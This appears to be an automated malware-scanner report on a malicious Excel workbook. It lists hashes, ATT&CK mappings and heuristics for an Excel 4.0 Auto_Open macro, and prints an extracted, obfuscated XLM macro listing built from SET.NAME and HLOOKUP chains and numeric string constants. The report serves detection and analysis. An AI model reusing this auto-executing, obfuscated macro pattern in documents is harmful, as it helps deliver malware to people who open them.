Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 230fcf27eda16021…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:38:23 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: af249c7fb27413495971c8588f3d42c9 SHA-1: 42b3ce6a60e817547519f9f03967ab7135ec65e6 SHA-256: 230fcf27eda1602129a154d1ef142710b4c256eb23f11ab3a1d7e8dc048f0e08
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open defined name, which is a critical finding. This indicates an attempt to automatically execute code upon opening the workbook. The presence of dangerous formula APIs like RUN suggests the macro is designed to execute arbitrary commands or download further payloads, aligning with exploitation for client execution.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6631 bytes
SHA-256: f3dbf699f0aeb76c144b99be6aa4f211a80212905ed078623985b6cbe441b527
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  NGFYJ
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A125 
' 0018     23 LABEL : Cell Value, String Constant - BiEUwwLv len=0 
' 0018     27 LABEL : Cell Value, String Constant - cZrkoxyAcXni len=0 
' 0018     24 LABEL : Cell Value, String Constant - fcBvrSRix len=0 
' 0018     27 LABEL : Cell Value, String Constant - fdlrENgwrxNF len=0 
' 0018     25 LABEL : Cell Value, String Constant - FQGLxxcjbn len=0 
' 0018     24 LABEL : Cell Value, String Constant - hjthYyyFd len=0 
' 0018     23 LABEL : Cell Value, String Constant - HjYKAUnF len=0 
' 0018     20 LABEL : Cell Value, String Constant - HKdLR len=0 
' 0018     23 LABEL : Cell Value, String Constant - lLgoXmOG len=0 
' 0018     22 LABEL : Cell Value, String Constant - mOExPNl len=0 
' 0018     20 LABEL : Cell Value, String Constant - MsiAC len=0 
' 0018     20 LABEL : Cell Value, String Constant - nPTym len=0 
' 0018     23 LABEL : Cell Value, String Constant - PMgvAPzB len=0 
' 0018     27 LABEL : Cell Value, String Constant - PoBsfDimZibQ len=0 
' 0018     20 LABEL : Cell Value, String Constant - pvkiG len=0 
' 0018     26 LABEL : Cell Value, String Constant - SqbRhHdgwNM len=0 
' 0018     23 LABEL : Cell Value, String Constant - uDAnaXYr len=0 
' 0018     24 LABEL : Cell Value, String Constant - VqTiIIblO len=0 
' 0018     25 LABEL : Cell Value, String Constant - YddeXjwAnb len=0 
' 0018     24 LABEL : Cell Value, String Constant - zbFHltZMB len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  NGFYJ,A44,"SET.NAME("VqTiIIblO",0+VALUE("0"))",""
'  NGFYJ,A46,"SET.NAME("hjthYyyFd",VqTiIIblO)",""
'  NGFYJ,A50,"SET.NAME("fcBvrSRix",VqTiIIblO)",""
'  NGFYJ,A52,"SET.NAME("nPTym",COUNTA(PoBsfDimZibQ))",""
'  NGFYJ,A55,"SET.NAME("YddeXjwAnb",COUNTA(lLgoXmOG))",""
'  NGFYJ,A60,[],""
'  NGFYJ,A63,"SET.NAME("zbFHltZMB","")",""
'  NGFYJ,A65,"hjthYyyFd",""
'  NGFYJ,A68,"SET.NAME("MsiAC",HLOOKUP("*",PoBsfDimZibQ,hjthYyyFd,FALSE))",""
'  NGFYJ,A72,"FQGLxxcjbn",""
'  NGFYJ,A74,"SET.NAME("PMgvAPzB",VqTiIIblO)",""
'  NGFYJ,A76,[],""
'  NGFYJ,A79,"PMgvAPzB",""
'  NGFYJ,A83,"mOExPNl",""
'  NGFYJ,A88,"SqbRhHdgwNM",""
'  NGFYJ,A91,"pvkiG",""
'  NGFYJ,A94,"SET.NAME("fdlrENgwrxNF",VALUE(HLOOKUP("*",lLgoXmOG,pvkiG,FALSE)))",""
'  NGFYJ,T97,"",-157.00000000000000000000
'  NGFYJ,A98,"BiEUwwLv",""
'  NGFYJ,T98,"",530.00000000000000000000
'  NGFYJ,T99,"",964.00000000000000000000
'  NGFYJ,T100,"",657.00000000000000000000
'  NGFYJ,A101,"zbFHltZMB",""
'  NGFYJ,T101,"",957.00000000000000000000
'  NGFYJ,T102,"",917.00000000000000000000
'  NGFYJ,A103,"fcBvrSRix",""
'  NGFYJ,A107,NEXT(),""
'  NGFYJ,A109,"uDAnaXYr",""
'  NGFYJ,A113,[],""
'  NGFYJ,A116,"HjYKAUnF",""
'  NGFYJ,A118,NEXT(),""
'  NGFYJ,A123,RETURN(),""
'  NGFYJ,A150,"SET.NAME("cZrkoxyAcXni",A44)",""
'  NGFYJ,A154,"PoBsfDimZibQ",""
'  NGFYJ,A159,"SET.NAME("lLgoXmOG",R72C12)",""
'  NGFYJ,A164,"SET.NAME("HjYKAUnF",170)",""
'  NGFYJ,A167,"SET.NAME("HKdLR",1)",""
'  NGFYJ,A169,cZrkoxyAcXni(),""
'  NGFYJ,A170,HALT(),""